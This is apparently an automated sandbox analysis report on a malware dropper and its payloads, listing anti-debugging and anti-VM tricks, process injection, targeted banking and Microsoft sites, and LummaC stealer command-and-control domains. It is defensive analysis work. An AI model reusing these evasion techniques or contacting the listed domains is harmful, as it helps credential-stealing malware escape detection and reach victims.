Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD075D second address: 4FD0843 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edi 0x00000005 push edi 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007FB818EDC0D6h 0x00000010 xchg eax, ebp 0x00000011 pushad 0x00000012 pushad 0x00000013 movzx eax, di 0x00000016 pushfd 0x00000017 jmp 00007FB818EDC0D9h 0x0000001c add cx, 9586h 0x00000021 jmp 00007FB818EDC0D1h 0x00000026 popfd 0x00000027 popad 0x00000028 jmp 00007FB818EDC0D0h 0x0000002d popad 0x0000002e mov ebp, esp 0x00000030 pushad 0x00000031 mov bh, cl 0x00000033 pushfd 0x00000034 jmp 00007FB818EDC0D3h 0x00000039 add cx, 696Eh 0x0000003e jmp 00007FB818EDC0D9h 0x00000043 popfd 0x00000044 popad 0x00000045 pop ebp 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 jmp 00007FB818EDC0D3h 0x0000004e pushfd 0x0000004f jmp 00007FB818EDC0D8h 0x00000054 xor esi, 1C717F48h 0x0000005a jmp 00007FB818EDC0CBh 0x0000005f popfd 0x00000060 popad 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD0843 second address: 4FD0849 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0AF4 second address: 4FC0B1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB818EDC0D7h 0x00000008 mov di, ax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebp 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 mov esi, 0D6E043Dh 0x00000017 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 17EB0C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 334C72 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 3BAA0B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 326681 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: BEEB0C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: DA4C72 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D96681 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: E2AA0B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe	Special instruction interceptor: First address: 4B2BDA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe	Special instruction interceptor: First address: 4B2C9C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe	Special instruction interceptor: First address: 64F329 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe	Special instruction interceptor: First address: 67CE13 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe	Special instruction interceptor: First address: 6DCDA2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Special instruction interceptor: First address: 14AD833 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Special instruction interceptor: First address: 14AD911 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Special instruction interceptor: First address: 164AABA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Special instruction interceptor: First address: 14AB0BE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Special instruction interceptor: First address: 16D4C8F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Special instruction interceptor: First address: 627867 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Special instruction interceptor: First address: 6256A2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Special instruction interceptor: First address: 7EB9F2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Special instruction interceptor: First address: 849FDA instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Memory allocated: 11E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Memory allocated: 2CA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Memory allocated: 1240000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04FC0D08 rdtsc

0_2_04FC0D08

Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Window / User API: threadDelayed 6758

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7828	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7808	Thread sleep count: 115 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7808	Thread sleep time: -230115s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7768	Thread sleep count: 224 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7768	Thread sleep time: -6720000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7820	Thread sleep count: 99 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7820	Thread sleep time: -198099s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7816	Thread sleep count: 111 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7816	Thread sleep time: -222111s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7824	Thread sleep count: 109 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7824	Thread sleep time: -218109s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7816	Thread sleep count: 6758 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7816	Thread sleep time: -13522758s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7768	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe TID: 8004	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe TID: 8020	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe TID: 8100	Thread sleep time: -150000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe TID: 7264	Thread sleep time: -210000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe TID: 7292	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe TID: 2640	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: skotes.exe, skotes.exe, 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmp, 9faa981582.exe, 0000000D.00000002.2926743310.0000000000633000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 37179ed0b8.exe, 00000017.00000003.3076790817.000000000355B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: 37179ed0b8.exe, 00000017.00000003.3076790817.000000000355B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: 37179ed0b8.exe, 00000017.00000003.3076790817.000000000355B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 37179ed0b8.exe, 00000017.00000003.3076790817.000000000355B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 37179ed0b8.exe, 00000017.00000003.3076790817.000000000355B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: 37179ed0b8.exe, 00000017.00000003.3076790817.0000000003568000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: 37179ed0b8.exe, 00000017.00000003.3076790817.000000000355B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: skotes.exe, 00000006.00000002.3276235591.0000000000FAB000.00000004.00000020.00020000.00000000.sdmp, fba63623fe.exe, 0000000C.00000002.3170670189.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000002.3273002410.0000000000BAC000.00000004.00000020.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3217240295.0000000000BAC000.00000004.00000020.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3217454503.0000000000BAC000.00000004.00000020.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000002.3272517135.0000000000B6C000.00000004.00000020.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3263094653.0000000000BAC000.00000004.00000020.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3044558296.0000000000BAC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 37179ed0b8.exe, 00000017.00000003.3076790817.000000000355B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 37179ed0b8.exe, 00000017.00000003.3076790817.000000000355B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 37179ed0b8.exe, 00000017.00000003.3076790817.000000000355B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 37179ed0b8.exe, 00000017.00000003.3076790817.000000000355B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: 37179ed0b8.exe, 00000017.00000003.3076790817.000000000355B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 37179ed0b8.exe, 00000017.00000003.3076790817.000000000355B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 37179ed0b8.exe, 00000017.00000003.3076790817.000000000355B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 37179ed0b8.exe, 00000017.00000003.3076790817.000000000355B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 37179ed0b8.exe, 00000017.00000003.3076790817.000000000355B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: 37179ed0b8.exe, 00000017.00000003.3076790817.000000000355B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 37179ed0b8.exe, 00000017.00000003.3076790817.000000000355B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 37179ed0b8.exe, 00000017.00000003.3076790817.000000000355B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 37179ed0b8.exe, 00000017.00000003.3076790817.000000000355B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: skotes.exe, 00000006.00000002.3276235591.0000000000F77000.00000004.00000020.00020000.00000000.sdmp, fba63623fe.exe, 0000000C.00000002.3170670189.000000000118D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: 37179ed0b8.exe, 00000017.00000003.3076790817.000000000355B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: 37179ed0b8.exe, 00000017.00000003.3076790817.000000000355B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: file.exe, 00000000.00000002.2077336816.0000000000FFF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 37179ed0b8.exe, 00000017.00000003.3076790817.000000000355B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 37179ed0b8.exe, 00000017.00000003.3076790817.000000000355B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 37179ed0b8.exe, 00000017.00000003.3076790817.000000000355B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: 37179ed0b8.exe, 00000017.00000003.3076790817.000000000355B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 37179ed0b8.exe, 00000017.00000003.3076790817.000000000355B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 37179ed0b8.exe, 00000017.00000003.3076790817.000000000355B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: 37179ed0b8.exe, 00000017.00000003.3076790817.0000000003568000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: svchost.exe, 0000000E.00000003.2909776212.0000000005300000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: DisableGuestVmNetworkConnectivity
Source: 37179ed0b8.exe, 00000017.00000003.3076790817.000000000355B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: svchost.exe, 0000000E.00000003.2909776212.0000000005300000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: EnableGuestVmNetworkConnectivity
Source: 37179ed0b8.exe, 00000017.00000003.3076790817.000000000355B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2075514814.000000000030B000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2103264295.0000000000D7B000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000003.00000002.2107390839.0000000000D7B000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmp, 9faa981582.exe, 0000000D.00000002.2926743310.0000000000633000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 37179ed0b8.exe, 00000017.00000003.3076790817.000000000355B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: fba63623fe.exe, 00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp, fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: F7hGfsX1sRaIfeD1h5f
Source: 37179ed0b8.exe, 00000017.00000003.3076790817.000000000355B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_2-9982
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_3-9899
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_3-9911

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_04D40BC3 Start: 04D40D7E End: 04D40B9E

6_2_04D40BC3

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04FC0D08 rdtsc

0_2_04FC0D08

Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe

Code function: 12_2_0043C1F0 LdrInitializeThunk,

12_2_0043C1F0

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0014652B mov eax, dword ptr fs:[00000030h]	0_2_0014652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0014A302 mov eax, dword ptr fs:[00000030h]	0_2_0014A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BBA302 mov eax, dword ptr fs:[00000030h]	2_2_00BBA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BB652B mov eax, dword ptr fs:[00000030h]	2_2_00BB652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00BBA302 mov eax, dword ptr fs:[00000030h]	3_2_00BBA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00BB652B mov eax, dword ptr fs:[00000030h]	3_2_00BB652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BBA302 mov eax, dword ptr fs:[00000030h]	6_2_00BBA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BB652B mov eax, dword ptr fs:[00000030h]	6_2_00BB652B

Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Memory written: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	Memory written: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: fba63623fe.exe, 00000007.00000002.2799443016.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: fba63623fe.exe, 00000007.00000002.2799443016.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: fba63623fe.exe, 00000007.00000002.2799443016.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: fba63623fe.exe, 00000007.00000002.2799443016.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: fba63623fe.exe, 00000007.00000002.2799443016.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: fba63623fe.exe, 00000007.00000002.2799443016.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: fba63623fe.exe, 00000007.00000002.2799443016.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: fba63623fe.exe, 00000007.00000002.2799443016.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: fba63623fe.exe, 00000007.00000002.2799443016.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: lossekniyyt.click
Source: 37179ed0b8.exe, 00000012.00000002.2979177935.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: sweepyribs.lat
Source: 9267e9145a.exe, 00000018.00000002.3050310526.0000000001189000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: pancakedipyps.click

Source: file.exe, 00000000.00000002.2075761537.000000000034F000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2104787104.0000000000DBF000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000003.00000002.2107951609.0000000000DBF000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: MProgram Manager
Source: 9faa981582.exe, 0000000D.00000002.2926743310.0000000000633000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: ekProgram Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00B9DD91 cpuid

6_2_00B9DD91

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe VolumeInformation	Jump to behavior
